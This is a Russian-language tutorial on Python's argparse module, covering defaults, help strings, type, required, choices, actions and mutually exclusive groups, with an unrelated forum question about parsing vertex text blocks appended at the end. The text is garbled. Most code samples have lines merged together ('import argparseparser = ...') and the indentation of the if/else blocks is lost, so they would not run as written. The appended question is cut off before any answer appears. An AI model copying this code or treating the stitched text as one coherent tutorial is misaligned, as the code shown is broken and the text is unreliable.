Python содСрТит нСсколько Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ, благодаря ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ sys.argv, getopt ΠΈ argparse. На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ argparse — Π½Π°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠΉ ΠΈ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнный Π²Π°Ρ€ΠΈΠ°Π½Ρ‚.

Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Python argparse Π±Ρ‹Π»Π° Π²Ρ‹ΠΏΡƒΡ‰Π΅Π½Π° ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ стандартной Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ вмСстС с Python 3.2. ПослС этого Ρ€Π΅Π»ΠΈΠ·Π° Π² силу своСй популярности ΠΎΠ½Π° Π±Ρ‹Π»Π° ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π° Π² Python 2.7 ΠΈ Π²ΠΎ всС Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠ΅ вСрсии Python, быстро став Π·ΠΎΠ»ΠΎΡ‚Ρ‹ΠΌ стандартом для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки. Она прСдоставляСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:

  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ настройки справочных сообщСний ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ для Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.
  • Установка Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² чистом ΠΈ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΠΌ Π²ΠΈΠ΄Π΅.
  • НаличиС Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ количСства ΠΎΠΏΡ†ΠΈΠΉ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.
  • ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ количСства ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² для ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°.
  • Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ автоматичСски ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ дСйствиС ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΊ Π²Π²ΠΎΠ΄Ρƒ ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ указаниям.

ΠŸΡ€ΠΎΠ²Π΅Π΄Π΅ΠΌ Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΠΊΡΠΊΡƒΡ€ΡΠΈΡŽ ΠΏΠΎ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ argparse Python.

ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ пустой сцСнарий Python. Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° argparse встроСна Π² Python, соотвСтствСнно ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° установки Π½Π΅ потрСбуСтся. На Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ установку для argparse:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')args = parser.parse_args()

Π’ этом ΠΊΠΎΠ΄Π΅ Π΅ΡΡ‚ΡŒ 3 Π²Π°ΠΆΠ½Ρ‹Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°:

  1. Π˜ΠΌΠΏΠΎΡ€Ρ‚ argparse.
  2. Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ парсСра Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² (с описаниСм).
  3. ΠŸΠ°Ρ€ΡΠΈΠ½Π³ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.

На Π²Ρ‚ΠΎΡ€ΠΎΠΌ этапС ΠΌΡ‹ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ parser, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки вмСстС с опциями для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π½ΠΈΡ…. На Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ этапС запускаСтся функция, которая ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈΠ· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.

ΠŸΡ€Π΅Π»Π΅ΡΡ‚ΡŒ argparse Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° автоматичСски Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкой с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этой простой настройки. ЗапуститС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ с --help Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΈ argparse Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ описаниС руководства ΠΏΠΎ argparse!

Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки с ΠΈΠΌΠ΅Π½Π΅ΠΌ β€œa”, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки Π² сцСнарий Python, запуститС Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ python3 argparse_2.py --a=5:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a")args = parser.parse_args()
a = args.a
print(a)

ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ .add_argument() для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ «a» Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠΉ ΠΈΠ· a, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ args.a.

Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π±Π΅Π· указания значСния для a Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС args.a Π±ΡƒΠ΄Π΅Ρ‚ None. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для a Π² парсСрС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π° этот Ρ€Π°Π· Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΎ описаниС.

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, help="This is the 'a' variable")args = parser.parse_args()
a = args.a
print(a)

Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, Ссли ΠΌΡ‹ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΄ΠΈΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для a Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡƒΡŽ строку, Ρ‚ΠΎ a ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ€Π°Π²Π½ΠΎΠ΅ 1. Π”ΠΎΠ±Π°Π²ΠΈΠ² строку для ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ help, ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ смоТСм Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивноС описаниС для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ --help:

usage: run.py [-h] [--a A]A tutorial of argparse!optional arguments:
-h, --help show this help message and exit
--a A This is the 'a' variable

Рассмотрим Π΅Ρ‰Π΅ нСсколько интСрСсных ΠΎΠΏΡ†ΠΈΠΉ с argparse. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΈΠΏΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ² Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ»ΠΎΡΡŒ прямо Π½Π° Π²Ρ…ΠΎΠ΄Π΅:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--name", default=None, type=str, help="Your name")args = parser.parse_args()

Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ всСгда ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово required. УстановлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ True Π²Ρ‹Π½ΡƒΠΆΠ΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для этого значСния, ΠΈΠ½Π°Ρ‡Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° выдаст ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΈ остановится.

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--name", required=True, type=str, help="Your name")args = parser.parse_args()

Если ΠΌΡ‹ установим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° --name, Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ! Однако ΠΏΡ€ΠΈ Π΅Π³ΠΎ отсутствии ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ сообщСниС ΠΎΠ± ошибкС:

usage: run.py [-h] [--a A] --name NAME
run.py: error: the following arguments are required: --name

ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ввСсти Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° choices. ПолСзная функция, особСнно ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π² ΠΊΠΎΠ΄Π΅ Π½Π°Π±ΠΎΡ€Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² if-else, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π° основС ΠΎΠ΄Π½ΠΎΠΉ строки. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--education",
choices=["highschool", "college", "university", "other"],
required=True, type=str, help="Your name")args = parser.parse_args()ed = args.educationif ed == "college" or ed == "university":
print("Has degree")
elif ed == "highschool":
print("Finished Highschool")
else:
print("Does not have degree")

Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅ любого значСния, находящСгося Π² спискС choices, ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ education. Однако ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ отсутствуСт Π² спискС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, числа 5, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ сообщСниС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ прСдлагаСтся Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ ΠΈΠ· списка:

usage: run.py [-h] [--a A] --education {highschool,college,university,other}
run.py: error: argument --education: invalid choice: '5' (choose from 'highschool', 'college', 'university', 'other')

Настало врСмя Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚ΠΎΠΌΡƒ argparse!

Π’ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ action ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ дСйствиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ парсСр Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ². НапримСр, Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ автоматичСски устанавливаСтся Ρ€Π°Π²Π½Ρ‹ΠΌ Π±ΡƒΠ»Π΅Π²ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ True, Ссли ΠΎΠ½ΠΎ присутствуСт ΠΈΠ»ΠΈ являСтся константой. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ΠΎΠ±Π° случая.

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", action="store_true", help="This is the 'a' variable")
parser.add_argument("--b", action="store_const", const=10,
help="This is the 'b' variable")args = parser.parse_args()
a = args.a
b = args.bprint(a)
print(b)

Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π΅ говорится, Ρ‡Ρ‚ΠΎ Ссли Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС присутствуСт Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ a, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ True, Π° Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС False. Аналогичным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки b ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 10, Π° Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС None ΠΈΠ·-Π·Π° отсутствия значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ!

ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π³Ρ€ΡƒΠΏΠΏΡ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅ Π½Π°Π±ΠΎΡ€ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки парсСра, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Ρ‹ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ.

ΠŸΡ€ΠΈΠΌΠ΅Ρ€:

import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
group = parser.add_mutually_exclusive_group(required=True)group.add_argument('--a', action='store_true', help="This is the 'a' variable")
group.add_argument('--b', action='store_true', help="This is the 'b' variable")args = parser.parse_args()
a = args.a
b = args.bprint(a)
print(b)

АргумСнты argparsea ΠΈ b — Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ Π² ΠΎΠ΄Π½Ρƒ Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΡƒ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Python Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ a ΠΈ b ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ python3 argparse_8.py --a --b. Π­Ρ‚Π° функция Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ пСрСдаст ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΡ€Π΅Ρ‡Π°Ρ‰ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Ρƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ, Ρ‡Ρ‚ΠΎ позволяСт ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρ‹ ΠΈΠ»ΠΈ ошибок.

Π’ΠΎΡ‚ ΠΈ всС! Π’Ρ‹ ΠΏΡ€ΠΎΡˆΠ»ΠΈ простоС руководство ΠΏΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки Python.

Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅:

Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ нас Π² Ρ‚Π΅Π»Π΅Π³Ρ€Π°ΠΌΠΌΠ΅, vk ΠΈ ЯндСкс.Π”Π·Π΅Π½

python — парсинг Π±Π»ΠΎΠΊΠΎΠ² тСкста Π² тСкстовом Ρ„Π°ΠΉΠ»Π΅ (Π±Π»ΠΎΠΊΠΈ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ пустой строкой)

Π― Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…ΠΎΡ‡Π΅Ρ‚ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:

$ begin
$ vertex -1285.6 -226.2 -538.7 0
$ track 11 1000 0.7277 0.6765 0.1133 0
$ end

$ begin
$ vertex -1265.3 573.1 1547.7 0
$ track 11 1000 -0.7679 0.1650 0.6189 0
$ end

Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ($ begin … $ end) я Ρ…ΠΎΡ‡Ρƒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ x y z:

$ begin
$ vertex x y z 0
$ track 11 1000 -0.7679 0.1650 0.6189 0
$ end

ΠœΠΎΠΆΠ΅Ρ‚ ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это? Π― ΠΎΡ‡Π΅Π½ΡŒ Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½ Π·Π° Π»ΡŽΠ±ΡƒΡŽ ΠΏΠΎΠΌΠΎΡ‰ΡŒ ΠΈΠ»ΠΈ совСт!

2

user638699

15 Апр 2017 Π² 00:04

4 ΠΎΡ‚Π²Π΅Ρ‚Π°

Π›ΡƒΡ‡ΡˆΠΈΠΉ ΠΎΡ‚Π²Π΅Ρ‚

